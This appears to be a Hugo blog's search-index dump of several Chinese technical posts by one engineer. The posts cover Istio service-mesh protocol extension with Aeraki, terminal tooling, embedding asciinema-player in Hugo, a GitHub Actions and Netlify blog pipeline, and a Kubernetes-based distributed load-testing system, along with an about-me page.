一种是在client多实现个协议转换层，但开发以及部署更新麻烦，但如gRPC-gateway也是种实现方式，只不过gRPC在Istio本身就支持； 一种是在边车、adapter或者边缘网关服务去做转换，但一样有上面的问题； 且有可能目前网格内的协议并不合适业务场景，比如性能下降等问题； 协议扩展 这里的协议扩展是指通过Service Mesh来扩展支持私有协议及任意的尚未支持的协议。 自研 自研肯定是能实现的，但对技术要求较高，需要要对数据面修改的技术能力，像Envoy是用C++实现的，另外控制面也要做一定修改。 Aeraki Aeraki Mesh可以帮助你在服务网格中管理任何七层协议。目前已经支持了 Dubbo、Thrit、Redis、Kafka、ZooKeeper 等开源协议。你还可以使用 Aeraki Mesh 提供的 MetaProtocol 协议扩展框架来管理私有协议的七层流量。 /** * Codec for Awesomerpc protocol. */ class AwesomerpcCodec : public MetaProtocolProxy::Codec, public Logger::Loggable\u003cLogger::Id::misc\u003e { public: AwesomerpcCodec() {}; ~AwesomerpcCodec() override = default; //协议解码，需要解析 buffer 并填充 Metadata， Metadata 将被用于 MetaProtocol Proxy 的 filter，例如限流，路由的匹配条件 MetaProtocolProxy::DecodeStatus decode(Buffer::Instance\u0026 buffer, MetaProtocolProxy::Metadata\u0026 metadata) override; //协议编码，可以根据 Mutation 对请求或者响应数据包进行修改，例如增加、删除或者修改 header，修改后需要回写到 buffer 中 void encode(const MetaProtocolProxy::Metadata\u0026 metadata, const MetaProtocolProxy::Mutation\u0026 mutation, Buffer::Instance\u0026 buffer) override; //错误编码，用于框架向客户端返回错误信息，例如未找到路由或者连接创建失败等，编码的数据需要写入到 buffer 中 void onError(const MetaProtocolProxy::Metadata\u0026 metadata, const MetaProtocolProxy::Error\u0026 error, Buffer::Instance\u0026 buffer) override; ... 实现编解码接口较简单，仅需实现 decode，encode 和 onError 三个方法即可。 而其它服务治理能力都已经通过MetaPortocol这个EnvoyFilter，以插件的形式统一实现了支持。 而在Istio中声明使用它也较简单，仅需创建一个 Aeraki 的 ApplicationProtocol CRD资源： apiVersion: metaprotocol.aeraki.io/v1alpha1 kind: ApplicationProtocol metadata: name: my-protocol namespace: istio-system spec: protocol: my-protocol codec: aeraki.meta_protocol.codec.my_protocol 第三方服务发现 几种融合网格服务发现名字的方案对比： 方案名 优点 缺点 基于服务发现代理 完全不需要修改业务代码 需要开发代理服务 基于边车 更符合后面网格建设的规范 能处理自定义协议 需要修改业务请求Client 在边车中进行服务发现较重 基于配置 原理较为简单 需要修改业务请求Client 不够灵活，不够通用 基于DNS 原理较为简单，易维护 需要修改业务请求Client DNS+边车 原理较为简单，易维护 能处理自定义协议 需要修改业务请求Client 服务发现改成非k8s service 可以照顾原有VM上的服务 需要自研控制面，数据面也要进行一些修改 我个人比较喜欢的是代理、DNS和用Consul替代的这三种方案，其中最符合istio原有流程是DNS这种，方案过多，就不一一详细说明了，这里主要提DNS模式下，通过X2Istio注册ServiceEntry的方式。 X2Istio (Polaris2Istio) Istio可用特性 ServiceEntry自动分配VIP； Service ExternalName提供DNS CNAME记录； 利用上述特性可制定以下方案： 说明 走方式4调用将上报给Polaris组件以供他自动建立新的ServiceEntry，这样就回到了方式3，后面就不用再进行L5发现而是直接DNS解析走ServiceIP了； 走方式3调用的服务如果后面迁移到了集群内，那么将externalName改成集群内的Service，后面变成方式2，这样就可以具备完整的网格能力； 当主调都改成直接使用ServiceName时，将都走方式1，有其它几种调用方式的存在，将大大降低业务改造的工作量。 图中的Polaris2Istio就相当于本图中的X2Istio。 Polaris2Istio: https://github.com/aeraki-mesh/polaris2istio ServiceEntry自动分配IP并解析 DNS 代理还支持为没有明确定义的 ServiceEntry 自动分配地址。这是通过 ISTIO_META_DNS_AUTO_ALLOCATE 选项配置的。 启用此特性后，DNS 响应将为每个 ServiceEntry 自动分配一个不同的独立地址。然后代理能匹配请求与 IP 地址，并将请求转发到相应的 ServiceEntry。 参考：https://istio.io/latest/zh/docs/ops/configuration/traffic-management/dns-proxy/ DNS解析 DNS是k8s内部就在使用的名字解析服务（目前集群中使用的是CoreDNS），我们只要解决名字转义后的域名能够一样解析到ServiceIP就能解决服务发现的问题，这里可以利用Service本身就有EnternalName来CNAME解析解决。 参考：https://github.com/kubernetes/kubernetes/issues/39792 externalname 参考：https://kubernetes.io/docs/concepts/services-networking/service/#externalname ServiceEntry 可按如下配置： apiVersion: networking.istio.io/v1alpha3 kind: ServiceEntry metadata: name: \u003cpolaris-name-for-k8s\u003e namespace: polaris annotations: aeraki.net/polarisNamespace: Test aeraki.net/polarisService: test-service aeraki.net/external: \"false\" labels: manager: aeraki registry: polaris spec: hosts: - dev.\u003cpolaris-name-for-k8s\u003e.polaris resolution: NONE # or STATIC 参考： https://github.com/aeraki-mesh/polaris2istio 请注意我们集群当中使用的是CoreDNS，它要求externalName的格式必须是符合FQDN的，即最全的形式。 对于已经在集群当中的Service，只需要创建有原服务发现名字和service映射关系的externalName类型的Service就行； 对于不在集群当中的L5服务，则需要先创建ServiceEntry按入网格，并通过Polaris2Istio来维护实例变更； 由于各项目不一样，源码中没有根据管理的Service来匹配，而是直接创建相应的ServiceEntry即可。 关于Polaris的具体实现，下篇文章再讲。 ","date":"2022-08-29","objectID":"/posts/2022/08/29/extension-and-expansion-of-service-mesh/:0:2","tags":["tech","cloud native","service mesh"],"title":"融合、扩展Service Mesh","uri":"/posts/2022/08/29/extension-and-expansion-of-service-mesh/"},{"categories":["Tech"],"content":"总结 现实情况不总是理想模型，我们要根据实际情况进行调整，没有最完美的架构，只有最合适的架构。 ","date":"2022-08-29","objectID":"/posts/2022/08/29/extension-and-expansion-of-service-mesh/:0:3","tags":["tech","cloud native","service mesh"],"title":"融合、扩展Service Mesh","uri":"/posts/2022/08/29/extension-and-expansion-of-service-mesh/"},{"categories":["Tech","Workspace"],"content":"工欲善其事，必先利其器","date":"2022-08-29","objectID":"/posts/2022/08/29/efficient-command-line-tools/","tags":["tech","command-line-tools"],"title":"高效终端命令行工具","uri":"/posts/2022/08/29/efficient-command-line-tools/"},{"categories":["Tech","Workspace"],"content":" 导语 工欲善其事，必先利其器。 作为技术人员，一个高效的工作环境尤为重要。下面分享下我的终端命令行下的环境和工具配置。 zsh\u0026oh-my-zsh 安装 参考：https://ohmyz.sh/ 插件 语法高亮（zsh-syntax-highlighting） git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting 自动补全（zsh-autosuggestions） git clone https://github.com/zsh-users/zsh-autosuggestions.git $ZSH_CUSTOM/plugins/zsh-autosuggestions 最后记得将它们加到.zshrc里。 集群环境显示（zsh-kubectl-prompt) 可参考https://github.com/whitefirer/workspace/blob/main/.zshrc进行配置： # .zshrc function right_prompt() { local color=\"blue\" if [[ \"$ZSH_KUBECTL_NAMESPACE\" =~ \"system\" ]]; then color=\"yellow\" fi if [[ \"$ZSH_KUBECTL_CONTEXT\" =~ \"desktop\" || \"$ZSH_KUBECTL_CONTEXT\" =~ \"dev\" ]]; then color=\"green\" fi if [[ \"$ZSH_KUBECTL_CONTEXT\" =~ \"prod\" ]]; then color=\"red\" fi echo \"%{$terminfo[bold]$fg[$color]%}\\u2638($ZSH_KUBECTL_PROMPT)%{$reset_color%}\" } RPROMPT='$(right_prompt)' 成功后会显示如下： 其中cni-test为自己在kubeconfig中给context取的名字，可自行修改。 里面的ctx和ns均为krew插件。 kubectl备忘录 kubectl安装\u0026操作 其它可参考：https://kubernetes.io/docs/tasks/tools/#install-kubectl 更多相关备忘：https://kubernetes.io/zh/docs/reference/kubectl/cheatsheet/ kubectl插件（krew） 参考：https://krew.sigs.k8s.io/ kubectl高亮（kubecolor） 可以参考https://github.com/hidetatz/kubecolor readme里的做法，alias成k或者kubectl。 其它 终端复用（tmux） GitHub：https://github.com/tmux/tmux 参考：https://www.ruanyifeng.com/blog/2019/10/tmux.html 高级cat（bat) 参考：https://github.com/sharkdp/bat/blob/master/doc/README-zh.md 高级模糊查找（fzf） 参考：https://github.com/junegunn/fzf#preview-window 右侧的预览是结合了前面的bat命令。 高级ls（exa） 安装 参考：https://github.com/ogham/exa 高级top（htop） 安装 brew install htop json高亮（jq） brew install jq json高亮及折叠（fx） 安装 brew install fx 官网 https://github.com/antonmedv/fx yaml高亮（yh） 当然有使用kubecolor的话，kubectl也用不上yh，但是其它命令场景还是可以用的。 安装 brew install yh ","date":"2022-08-29","objectID":"/posts/2022/08/29/efficient-command-line-tools/:0:0","tags":["tech","command-line-tools"],"title":"高效终端命令行工具","uri":"/posts/2022/08/29/efficient-command-line-tools/"},{"categories":["Hugo"],"content":"Asciinema-Player是一款著名的的终端录制播放器，可用于播放asciinema录制的播放文件，经常被用来进行终端操作演示。这里也将其引入到了当前Hugo博客中使用，下面我将讲讲引入的过程。 ","date":"2022-08-28","objectID":"/posts/2022/08/28/hugo-asciinema-player/:0:0","tags":["hugo","tech","asciinema"],"title":"如何在Hugo博客中使用终端播放器Asciinema-Player","uri":"/posts/2022/08/28/hugo-asciinema-player/"},{"categories":["Hugo"],"content":"1.效果展示 Talk is cheap, show the result ~ 这里直接借用官方demo进行展示。 ","date":"2022-08-28","objectID":"/posts/2022/08/28/hugo-asciinema-player/:0:1","tags":["hugo","tech","asciinema"],"title":"如何在Hugo博客中使用终端播放器Asciinema-Player","uri":"/posts/2022/08/28/hugo-asciinema-player/"},{"categories":["Hugo"],"content":"2.需求分析 为什么需要在Hugo里面使用终端播放器Asciinema-Player呢？ 作为技术人员，在写博客时总是需要进行一些终端操作演示，而演示方式无非以下几种： 方式 优点 缺点 视频 能配音配特效 网站流量消耗大，不能复制文本 动图 文件相对小些 不能控制进度，不能复制文本 代码 占用流量小，能复制 不能控制进度，也不太好展示效果 而终端录制播放器Asciinema-Player则兼容体积小、能控制、能复制于一体并能完美复现终端操作场景，非常适合用于在博客中进行一些终端操作演示。 ","date":"2022-08-28","objectID":"/posts/2022/08/28/hugo-asciinema-player/:0:2","tags":["hugo","tech","asciinema"],"title":"如何在Hugo博客中使用终端播放器Asciinema-Player","uri":"/posts/2022/08/28/hugo-asciinema-player/"},{"categories":["Hugo"],"content":"3.解决方案 首先，在网上找下前人在Hugo博客里扩展嵌入asciinema-player的方法，比如 Embedding asciinema cast in your Hugo site。 shortcode 可以找到里面asciinema-player的shortcode代码如下： \u003cp\u003e \u003casciinema-player src=\"/casts/{{ with .Get \"key\" }}{{ . }}{{ end }}.cast\" cols=\"{{ if .Get \"cols\" }}{{ .Get \"cols\" }}{{ else }}640{{ end }}\" rows=\"{{ if .Get \"rows\" }}{{ .Get \"rows\" }}{{ else }}10{{ end }}\" {{ if .Get \"autoplay\" }}autoplay=\"{{ .Get \"autoplay\" }}\"{{ end }} {{ if .Get \"preload\" }}preload=\"{{ .Get \"preload\" }}\"{{ end }} {{ if .Get \"loop\" }}loop=\"{{ .Get \"loop\" }}\"{{ end }} start-at=\"{{ if .Get \"start-at\" }}{{ .Get \"start-at\" }}{{ else }}0{{ end }}\" speed=\"{{ if .Get \"speed\" }}{{ .Get \"speed\" }}{{ else }}1{{ end }}\" {{ if .Get \"idle-time-limit\" }}idle-time-limit=\"{{ .Get \"idle-time-limit\" }}\"{{ end }} {{ if .Get \"poster\" }}poster=\"{{ .Get \"poster\" }}\"{{ end }} {{ if .Get \"font-size\" }}font-size=\"{{ .Get \"font-size\" }}\"{{ end }} {{ if .Get \"theme\" }}theme=\"{{ .Get \"theme\" }}\"{{ end }} {{ if .Get \"title\" }}title=\"{{ .Get \"title\" }}\"{{ end }} {{ if .Get \"author\" }}author=\"{{ .Get \"author\" }}\"{{ end }} {{ if .Get \"author-url\" }}author-url=\"{{ .Get \"author-url\" }}\"{{ end }} {{ if .Get \"author-img-url\" }}author-img-url=\"{{ .Get \"author-img-url\" }}\"{{ end }} \u003e\u003c/asciinema-player\u003e \u003c/p\u003e 细细口味了下这段代码，结合自己需求进行了修改： Talk is cheap, show me the code ~ # themes/iLoveIt/layouts/shortcodes/asciinema.html \u003cp\u003e \u003casciinema-player {{- with .Get \"src\" }} src=\"{{ . }}\" {{ end -}} {{- with .Get \"key\" }} src=\"/casts/{{ . }}.cast\"{{ end -}} cols=\"{{ if .Get \"cols\" }}{{ .Get \"cols\" }}{{ else }}640{{ end }}\" rows=\"{{ if .Get \"rows\" }}{{ .Get \"rows\" }}{{ else }}10{{ end }}\" {{- with .Get \"autoplay\" }}autoplay=\"{{ . }}\"{{ end -}} {{- with .Get \"preload\" }}preload=\"{{ . }}\"{{ end -}} {{- with .Get \"loop\" }}loop=\"{{ . }}\"{{ end -}} start-at=\"{{ if .Get \"start-at\" }}{{ .Get \"start-at\" }}{{ else }}0{{ end }}\" speed=\"{{ if .Get \"speed\" }}{{ .Get \"speed\" }}{{ else }}1{{ end }}\" {{- with .Get \"idle-time-limit\" }}idle-time-limit=\"{{ . }}\"{{ end -}} {{- with .Get \"poster\" }} poster=\"{{ . | safeURL }}\"{{ end -}} {{- with .Get \"font-size\" }}font-size=\"{{ . }}\"{{ end -}} {{- with .Get \"theme\" }}theme=\"{{ . }}\"{{ end -}} {{- with .Get \"title\" }}title=\"{{ . }}\"{{ end -}} {{- with .Get \"author\" }}author=\"{{ . }}\"{{ end -}} {{- with .Get \"author-url\" }}author-url=\"{{ . }}\"{{ end }} {{- with .Get \"author-img-url\" }}author-img-url=\"{{ . }}\"{{ end -}} fit=\"{{ if .Get \"fit\" }}{{ .Get \"fit\" }}{{ else }}width{{ end }}\" \u003e\u003c/asciinema-player\u003e {{- .Page.Scratch.SetInMap \"this\" \"asciinema\" true -}} \u003c/p\u003e 注意看高亮部分，主要修改了以下几点： 修改点 if .Get 形式代码过于累赘，这里把不需要取默认值的语句统统改成了with .Get形式； 只有固定的key方法从本站获取.cast录制文件，这里扩展了src以便从站外获取录制文件地址； poster这里会得到一个奇怪的数据#ZgotmplZ，它是一个安全防护的默认数据，见官方说明，会导致设置指定时间封面无效，解决起来也简单，加上| safeURL管道方法就可解决； js、css 参考方案里动态引入js和css，用到的该播放器的文章里需设置asciinema为true： {{ if .Params.asciinema }} \u003cscript src=\"{{ .Site.BaseURL }}js/asciinema-player.js\"\u003e\u003c/script\u003e {{ end }} --- title: Kubernetes Backup - ARK description: Kubernetes backup process using ark asciinema: true tags: - kubernetes - backup --- 可以看到上面是通过在文章里加asciinema参数实现的js、css资源动态加载，其实可以参考其它如mermaid的接入方式，直接在渲染时置标记就好： # themes/iLoveIt/layouts/partials/assets.html {{- /* asciinema */ -}} {{- if (.Scratch.Get \"this\").asciinema | or $params.draft -}} {{- $source := \"lib/asciinema/asciinema-player.min.css\" -}} {{- dict \"Source\" $source \"Fingerprint\" $fingerprint | dict \"Scratch\" .Scratch \"Data\" | partial \"scratch/style.html\" -}} {{- $source := \"lib/asciinema/asciinema-player.min.js\" -}} {{- dict \"Source\" $source \"Fingerprint\" $fingerprint | dict \"Scratch\" .Scratch \"Data\" | partial \"scratch/script.html\" -}} {{- end -}} 其中$params.draft是为了开发模式下也能设置草稿参数进行预览: # themes/iLoveIt/assets/data/cdn/jsdelivr.yml gitalkJS: gitalk@1.7.2/dist/gitalk.min.js # valine@1.5.0 https://valine.js.org/ valineJS: valine@1.5.0/dist/Valine.min.js asciinemaJS: asciinema-player@3.0.1/dist/index.min.js # cookieconsent@3.1.1 https://github.com/osano/cookieconsent cookieconsentCSS: cookieconsent@3.1.1/build/cookiecons","date":"2022-08-28","objectID":"/posts/2022/08/28/hugo-asciinema-player/:0:3","tags":["hugo","tech","asciinema"],"title":"如何在Hugo博客中使用终端播放器Asciinema-Player","uri":"/posts/2022/08/28/hugo-asciinema-player/"},{"categories":["Hugo"],"content":"4.使用方法 asciinema-player asciinema-player即播放器，在博客中使用只需简单在文章中加入以下代码： 其中，cols、rows分别为行列，preload则是要不要预加载，poster则是封面，有data模式也有npt模式，npt即按时间截取封面，上面的就是截取55秒时的终端作为封面。 另外还有speed：播放速度，autoplay：自动播放等参数，具体可参考asciinema-player设置 呈现效果如下（借用了helix-editor的演示，文件大些可能加载慢些）： 点击播放按钮播放，可拖动进度条或者使用方向键控制播放进度。 asciinema 上述终端播放所使用的cast文件，都是使用asciinema在终端录制的。 安装 brew install asciinema 使用 ➜ ~ asciinema --help usage: asciinema [-h] [--version] {rec,play,cat,upload,auth} ... Record and share your terminal sessions, the right way. positional arguments: {rec,play,cat,upload,auth} rec Record terminal session play Replay terminal session cat Print full output of terminal session upload Upload locally saved terminal session to asciinema.org auth Manage recordings on asciinema.org account options: -h, --help show this help message and exit --version show program's version number and exit example usage: Record terminal and upload it to asciinema.org: asciinema rec Record terminal to local file: asciinema rec demo.cast Record terminal and upload it to asciinema.org, specifying title: asciinema rec -t \"My git tutorial\" Record terminal to local file, limiting idle time to max 2.5 sec: asciinema rec -i 2.5 demo.cast Replay terminal recording from local file: asciinema play demo.cast Replay terminal recording hosted on asciinema.org: asciinema play https://asciinema.org/a/difqlgx86ym6emrmd8u62yqu8 Print full output of recorded session: asciinema cat demo.cast For help on a specific command run: asciinema \u003ccommand\u003e -h 另外如果想将其转化为gif动图，也可以使用asciicast2gif。 ","date":"2022-08-28","objectID":"/posts/2022/08/28/hugo-asciinema-player/:0:4","tags":["hugo","tech","asciinema"],"title":"如何在Hugo博客中使用终端播放器Asciinema-Player","uri":"/posts/2022/08/28/hugo-asciinema-player/"},{"categories":["Hugo"],"content":"5.总结 通过以上实践，虽然过程有些曲折，但最终还是顺利地将asciinema-player终端播放器引入到了hugo中使用，后续发布的博客也将经常见到其身影。 ","date":"2022-08-28","objectID":"/posts/2022/08/28/hugo-asciinema-player/:0:5","tags":["hugo","tech","asciinema"],"title":"如何在Hugo博客中使用终端播放器Asciinema-Player","uri":"/posts/2022/08/28/hugo-asciinema-player/"},{"categories":null,"content":"个人简介 姓名：王诚强 · whitefirer 🔭 Aeraki Mesh Maintainer，现独立研发，深耕 云原生 与 AI 工程化——服务网格、Agent 编排、全链路 RCA 🌱 经历三次范式迁移：物理机 → 云原生 → AI 工程化，每次都在团队里扮演推动者 💬 欢迎探讨 服务网格、Agent 工程、架构设计，乃至一切 有趣的技术 📫 发邮件 · 十年从业，资深基础架构工程师。曾在腾讯音乐负责云原生与服务网格，Aeraki Mesh Maintainer、IstioCon 2022 分享者；更早在荔枝微课任基础架构负责人（直接汇报 CTO），从 0 到 1 落地 K8s + Istio 云原生架构，搭建配置中心、DevOps 平台、分布式压测系统等基础设施，也从 0 到 1 组建并带过团队。现独立研发，方向聚焦 AI 工程化——多 Agent 编排、全链路 RCA，用大模型重做当年 AIOps 没做成的事。关注 CNCF 生态，热衷开源。 ","date":"2022-08-21","objectID":"/about/:0:1","tags":null,"title":"关于我","uri":"/about/"},{"categories":null,"content":"演讲和讲义 OpenTalk演讲：荔枝微课基础架构的演进与实践 腾讯云云原生大会：荔枝微课基于 Kubernetes 搭建分布式压测系统 IstioCon 2022分享：Istio + Aeraki 在腾讯音乐的服务网格落地 ","date":"2022-08-21","objectID":"/about/:0:2","tags":null,"title":"关于我","uri":"/about/"},{"categories":null,"content":"荣誉 🏆 2020年荣获荔枝微课S级贡献员工称号（公司级最高荣誉） 🏆 2022年腾讯新代码文化团队金奖（集团公司级，Aeraki Mesh Team） 🥇 2022年腾讯新代码文化个人奖（集团公司级，每团队一名额，Aeraki Mesh Maintainer） ","date":"2022-08-21","objectID":"/about/:0:3","tags":null,"title":"关于我","uri":"/about/"},{"categories":null,"content":"技术栈 语言与框架 云原生 AI 工程化 数据与工具 ","date":"2022-08-21","objectID":"/about/:0:4","tags":null,"title":"关于我","uri":"/about/"},{"categories":null,"content":"微信扫码 ","date":"2022-08-21","objectID":"/about/:0:5","tags":null,"title":"关于我","uri":"/about/"},{"categories":["Tech","Hugo"],"content":"背景 原来的博客网站是用wordpress搭建在云服务器上，甚至曾经用过朋友的服务器，几经迁移，极易丢失数据，现在流行用github托管博客，这样博客数据就更有保障了，同时也可以利用Git Action更为方便地构建网站内容了。 ","date":"2022-08-13","objectID":"/posts/2022/08/13/how-to-settingup-blog-with-hugo-github-netlify/:0:1","tags":["tech","hugo","github","netlify"],"title":"如何使用Hugo+Github+Netlify搭建博客","uri":"/posts/2022/08/13/how-to-settingup-blog-with-hugo-github-netlify/"},{"categories":["Tech","Hugo"],"content":"方案 flowchart LR Write[New Post] --\u003e|Git Push| GitHub(Github Action) GitHub --\u003e|Build| Files[Static Files] Files --\u003e|Update| Pages[Github Pages] Netlify \u003c--\u003e|Watch| Pages Netlify --\u003e|Deploy| Public 通过配置 Github Action 来编译构建我们的网站文件并发布到 Github Pages 。 与此同时，通过 Netlify 监听 Github 仓库的变化，同步更新部署到 Netlify App 网站。 当然其中每个步骤都可以替换或同时有其它方式，如流水线也可以用circleci之类的，网站托管也可以用nginx服务器、SCF云函数、OSS对象存储等方式。 构建流水线（Github Action） Github Action 的 workflows 配置文件如下： # mysite/.github/workflows/build-and-sync-website.yml name: build on: # 触发时机 workflow_dispatch: # 手动触发 push: # 代码提交触发 branches: # 在哪个分支 - main # 在main分支 pull_request: # PR提交时触发 jobs: # 工作流 build: # 工作名称 runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v2 with: submodules: true fetch-depth: 0 - name: Setup Hugo uses: peaceiris/actions-hugo@v2 with: hugo-version: \"latest\" extended: true - name: Build Web run: hugo -v --gc - name: Deploy Web to Github Pages uses: peaceiris/actions-gh-pages@v3 with: PERSONAL_TOKEN: ${{ secrets.BLOG_TOKEN }} EXTERNAL_REPOSITORY: whitefirer/whitefirer.github.io PUBLISH_BRANCH: main PUBLISH_DIR: ./public commit_message: ${{ github.event.head_commit.message }} # - uses: manyuanrong/setup-ossutil@v2.0 # with: # # endpoint 可以去oss控制台上查看 # endpoint: \"oss-cn-hongkong.aliyuncs.com\" # # 使用我们之前配置在secrets里面的accesskeys来配置ossutil # access-key-id: ${{ secrets.ACCESS_KEY_ID }} # access-key-secret: ${{ secrets.ACCESS_KEY_SECRET }} # - name: Deply Web To OSS # run: ossutil cp public oss://blog-whitefirer/ -rf 徽章（Badge） [![Netlify Status](https://api.netlify.com/api/v1/badges/8aeed089-7b2c-4ebe-84e9-8df704f39948/deploy-status)](https://app.netlify.com/sites/whitefirer/deploys) [![GitHub](https://github.com/whitefirer/mysite/actions/workflows/build-and-sync-website.yml/badge.svg)](https://github.com/whitefirer/mysite/actions/workflows/build-and-sync-website.yml) 效果如下： 可以通过观测显示的样式来确认网站更新状态，也可以点击徽章后查看构建和发布的日志详情。 HTTPS域名证书（Let’s Encrypt CA） 域名证书这里用的免费证书，当然也可以购买证书。 ","date":"2022-08-13","objectID":"/posts/2022/08/13/how-to-settingup-blog-with-hugo-github-netlify/:0:2","tags":["tech","hugo","github","netlify"],"title":"如何使用Hugo+Github+Netlify搭建博客","uri":"/posts/2022/08/13/how-to-settingup-blog-with-hugo-github-netlify/"},{"categories":["Tech","Hugo"],"content":"总结 整个方案较简单，维护起来也容易，每次变更通过Git提交即可自动触发构建部署。 后面有时间了我再分享下网站功能和主题的开发扩展。 ","date":"2022-08-13","objectID":"/posts/2022/08/13/how-to-settingup-blog-with-hugo-github-netlify/:0:3","tags":["tech","hugo","github","netlify"],"title":"如何使用Hugo+Github+Netlify搭建博客","uri":"/posts/2022/08/13/how-to-settingup-blog-with-hugo-github-netlify/"},{"categories":["Tech"],"content":" 导语 本文根据2021年4月10日深圳站举办的【腾讯云原生技术开放日】 线下活动中，荔枝微课基础架构负责人王诚强关于“基于 kubernetes 搭建分布式压测系统”的演讲整理而成。 大家好，今天想和大家分享的主题是基于 kubernetes 搭建分布式压测系统。从背景、原理、实现、效果和未来方向5个方面讲解了荔枝微课在基于 kubernetes 搭建分布式压测系统上的实践和思考。 ","date":"2021-04-13","objectID":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/:0:0","tags":["tech","cloud native"],"title":"荔枝微课基于 kubernetes 搭建分布式压测系统","uri":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/"},{"categories":["Tech"],"content":"背景 荔枝微课作为一个高速发展的平台，面临着业务流量越来越大的冲击，特别是在去年疫情期间遭遇成倍流量增长的情况，是通过什么方式轻松渡过难关的？以我在荔枝微课落地云原生的经历来说，为什么我们要去实践云原生架构呢？只是因为它是业内技术趋势吗？ 其实这是源于业务需要的，基础架构最重要的是稳定高效，在我最早接手并负责荔枝微课基础架构时，第一个季度的目标居然是应急响应，但我们都知道应急响应是治标不治本的，而要治本根治的话那么就要对改掉整个底层基础架构，这也是为什么荔枝微课会去做云原生实践的原因。 而在做这个实践的时候，我们还需要一个工具来衡量，那就是分布式压测系统。我们早期使用过本地压测、CVM 伸缩组压测等方案，但是他们有着本地资源能力有限、伸缩组申请变更麻烦、伸缩速度较慢、压测脚本和报告管理混乱，经常无存档等缺点。于是我们采用了现在的基于 kubernetes 的分布式压测方案。 ","date":"2021-04-13","objectID":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/:0:1","tags":["tech","cloud native"],"title":"荔枝微课基于 kubernetes 搭建分布式压测系统","uri":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/"},{"categories":["Tech"],"content":"分布式压测方案借助的三个技术 原理上来讲，需要借助三方面的技术： 编程技术 这里我们选择了我们团队较熟悉的 python，不同团队可以有不同的选择。 压测引擎 我们用的是 Locust，因为它是用 python 写脚本，其实也可以更换成 jmeter 之类的其它压测引擎。 kubernetes 主要利用它的服务编排技术来进行一个资源上的调度，经过我们测试，如果是普通集群，在需要弹出集群物理节点的情况下，全部就绪需要90秒，但是使用弹性集群，则可以压缩到15~20秒，所以推荐使用弹性集群。 ","date":"2021-04-13","objectID":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/:0:2","tags":["tech","cloud native"],"title":"荔枝微课基于 kubernetes 搭建分布式压测系统","uri":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/"},{"categories":["Tech"],"content":"整体框架 整个技术框架原理上，压测节点分为主节点（master）、从节点 （slave）和监控节点（monitor）三种类型： 主节点 负责任务管理和数据采集聚合，本身不进行压测任务 从节点 负责压测任务 监控节点 从主节点将结果通过 webhook 传递给 web 服务处理端； 另外这些节点的状态、日志都会通过 K8s 的 api 进行采集。根据压测任务里主从节点所申请的资源，集群将提前伸缩好节点，并将任务分配到不同节点，以达到动态提高压测能力的目的。 ","date":"2021-04-13","objectID":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/:0:3","tags":["tech","cloud native"],"title":"荔枝微课基于 kubernetes 搭建分布式压测系统","uri":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/"},{"categories":["Tech"],"content":"压测流程 右边为用户所感知到的过程，压测集中包括多个压测场景，通过编写压测脚本和配置压测参数的方式生成压测任务，并最终生成压测报告。 左边为 python 控制集群来生成任务的过程，具体是渲染生成不同任务的yaml 文件后，生成相应的 job pod，然后持续将 pod 状态 、日志和压测曲线结果反馈在页面上。 整个过程所使用的技术并没有多高深，主要是在集群应用上的一种探索。 ","date":"2021-04-13","objectID":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/:0:4","tags":["tech","cloud native"],"title":"荔枝微课基于 kubernetes 搭建分布式压测系统","uri":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/"},{"categories":["Tech"],"content":"实现方法 使用 yaml 编排 job 服务，举例 slave 节点来说，主要是声明一个 job 类型的工作负载，将生成的任务从节点名以及任务生成的命名空间渲染上去，然后设置我们的压测基础镜像以及启动命令，这里我们用到了 kubernetes 的几个技巧。一个是通过 hostAliases 进行内部解析，这样可以对一些内网代理进行压测，另一个是声明申请资源CPU，以便在任务启动前提前伸缩好物理节点提供资源，还有一个是通过 configmap 挂载可执行文件，这样可以注入参数在变化的启动命令，而不需要重新构建镜像。 然后说一下我们的代码框架，主要是分为这几个模块： K8s模块，提供一些如创建销毁命名空间或 pod、查看状态、拉取日志等api功能； 基础镜像，较为简单，主要安装了一些基础通用的库，然后开通了一些内部使用的端口； 任务编排声明文件，包括了我上面说的几种节点服务； 任务核心方法类，主要是将上述的流程代码实现，提供了一些方法，这里限于篇幅就不具体展开了。 然后最后我们来看下效果： 这是我们压测系统的管理界面，现在看到的是压测集，方便集中管理。 这是创建压测场景，并基于该场景编写 python 压测脚本，并可设置我们的任务参数。 这是压测任务详情页，可以看到压测参数、状态以及节点情况和查看日志。 这是压测过程中实时生成的图表，可以基于图表情况进行分析。 ","date":"2021-04-13","objectID":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/:0:5","tags":["tech","cloud native"],"title":"荔枝微课基于 kubernetes 搭建分布式压测系统","uri":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/"},{"categories":["Tech"],"content":"未来改进方向 引擎类型或版本允许选择更换； 批量定时分阶段的自动压测计划； 将所有涉及资源图表关联进来，形成更为详尽的报告； 任务资源限制与使用审批； 报告分析结论存档，相关问题追踪处理结果存档； 相同条件的多次压测结果对比展示； 使用更为云原生的方式管理任务的生命周期； ","date":"2021-04-13","objectID":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/:0:6","tags":["tech","cloud native"],"title":"荔枝微课基于 kubernetes 搭建分布式压测系统","uri":"/posts/2021/04/13/building-a-distributed-pressure-testing-system-based-on-kubernetes/"},{"categories":["Tech"],"content":"Q\u0026A环节 Q：这个压测系统对于测试人员的技能有什么要求吗？ A：需要会使用编程语言编写压测脚本，并有一定的分析思考能力，通过进一步封装的话也可以降低这部分的要求，但编程的话能力会更强更灵活，比如一些复杂条件或者像要动态使用账号的情况。 